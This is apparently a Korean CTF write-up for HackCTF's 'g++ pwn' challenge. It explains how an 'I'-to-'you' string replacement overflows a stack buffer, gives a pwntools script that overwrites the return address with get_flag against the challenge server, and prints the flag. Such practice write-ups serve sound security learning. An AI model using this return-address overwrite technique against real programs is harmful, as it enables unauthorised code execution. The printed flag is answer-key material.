-
g++ pwnCTF/HackCTF 2021. 1. 31. 22:31
Disassembly 디스어셈블리
undefined4 main(void) { vuln(); return 0; }
void vuln(void) { undefined4 uVar1; char *dest; int32_t var_1ch; int32_t var_18h; int32_t var_11h; int32_t var_9h; int32_t var_bp_4h; printf("Tell me something about yourself: "); fgets(&dest, 0x20, _reloc.stdin); std::string::operator=(char const*)(input, &dest); std::allocator<char>::allocator()(&var_11h); std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&) (&var_18h, 0x8049823, &var_11h); std::allocator<char>::allocator()(&var_9h); std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&) ((int32_t)&var_11h + 1, 0x8049827, &var_9h); replace((int32_t)&var_1ch, (int32_t)input, (int32_t)&var_11h + 1, (int32_t)&var_18h); std::string::operator=(std::string const&)(input, &var_1ch); std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(&var_1ch); std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()((int32_t)&var_11h + 1); std::allocator<char>::~allocator()(&var_9h); std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(&var_18h); std::allocator<char>::~allocator()(&var_11h); uVar1 = std::string::c_str() const(input); strcpy(&dest, uVar1); printf(0x8049829, &dest); return; }
vuln은 fgets로 0x20바이트만큼 입력받고 이를 replace에 넘긴 후 변환된 문자열을 printf로 출력한다.
replace에 전달되는 인자 중 "I"와 "you"가 눈에 띈다.
replace는 입력한 문자열의 모든 I를 you로 바꾸어주는 역할임을 짐작할 수 있다.
RET Overwrite
fgets(&dest, 0x20, _reloc.stdin); ... input = replace(&dest) ... uVar1 = std::string::c_str() const(input); strcpy(&dest, uVar1); // ebp-0x3c printf(0x8049829, &dest);
replace를 거친 문자열은 ebp-0x3c에 위치한 dest에 저장된다. "I"가 "you"로 변환되므로 0x20바이트의 입력만으로 0x3c바이트를 오버플로우시킬 수 있다.
void get_flag(void) { system("cat flag.txt"); return; }
따라서 return address를 get_flag로 덮어주면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./gpwn" server = "ctf.j0n9hyun.xyz" port = 3011 # context.log_level = 'debug' context.binary = binary p = remote(server, port) e = ELF(binary) get_flag = e.symbols["get_flag"] payload = b"I"*0x14 payload += b"A"*0x4 payload += p32(get_flag) p.sendline(payload) p.interactive()
Flag
HackCTF{It's_e4si3r_th4n_y0u_th1nk!}